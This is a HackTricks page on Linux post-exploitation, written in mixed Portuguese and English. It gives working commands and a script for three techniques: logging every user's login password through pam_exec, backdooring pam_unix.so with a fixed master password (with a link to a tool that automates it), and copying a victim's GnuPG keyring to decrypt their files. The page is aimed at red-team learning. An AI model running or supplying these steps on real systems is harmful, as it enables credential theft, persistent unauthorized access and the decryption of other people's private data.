Linux Post-Exploitation

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Sniffing Logon Passwords with PAM

Vamos configurar um módulo PAM para registrar cada senha que cada usuário usa para fazer login. Se você não sabe o que é PAM, confira:

PAM - Pluggable Authentication Modules

For further details check the original post. Isto é apenas um resumo:

Visão Geral da Técnica: Pluggable Authentication Modules (PAM) oferecem flexibilidade no gerenciamento de autenticação em sistemas baseados em Unix. Eles podem aumentar a segurança ao customizar processos de login, mas também representam riscos se usados de forma indevida. Este resumo descreve uma técnica para capturar credenciais de login usando PAM, juntamente com estratégias de mitigação.

Captura de Credenciais:

  • Um script bash chamado toomanysecrets.sh é criado para registrar tentativas de login, capturando a data, nome de usuário ($PAM_USER), senha (via stdin), e IP do host remoto ($PAM_RHOST) em /var/log/toomanysecrets.log.
  • O script é tornado executável e integrado à configuração do PAM (common-auth) usando o módulo pam_exec.so com opções para executar silenciosamente e expor o token de autenticação ao script.
  • A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais de forma discreta.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. Isto é apenas um resumo:

The Pluggable Authentication Module (PAM) é um sistema usado under Linux para user authentication. It operates on three main concepts: username, password, and service. Configuration files for each service are located in the /etc/pam.d/ directory, where shared libraries handle authentication.

Objetivo: Modificar o PAM para permitir autenticação com uma senha específica, contornando a senha real do usuário. Isso é particularmente focado na biblioteca compartilhada pam_unix.so usada pelo arquivo common-auth, que é incluído por quase todos os serviços para verificação de senha.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • The line responsible for checking a user's password calls pam_unix.so.
  1. Modify Source Code:
  • Add a conditional statement in the pam_unix_auth.c source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.

tip

Você pode automatizar este processo com https://github.com/zephrax/linux-pam-backdoor

Descriptografando GPG loot via homedir relocation

Se você encontrar um arquivo .gpg criptografado e a pasta do usuário ~/.gnupg (pubring, private-keys, trustdb) mas não conseguir descriptografar devido a permissões/travas do homedir do GnuPG, copie o keyring para um local gravável e use-o como seu GPG home.

Erros típicos que você verá sem isso: "unsafe ownership on homedir", "failed to create temporary file", ou "decryption failed: No secret key" (porque o GPG can’t read/write o homedir original).

Fluxo de trabalho:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Se o material da chave secreta estiver presente em private-keys-v1.d, o GPG irá desbloquear e descriptografar sem solicitar uma passphrase (ou solicitará se a chave estiver protegida).

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks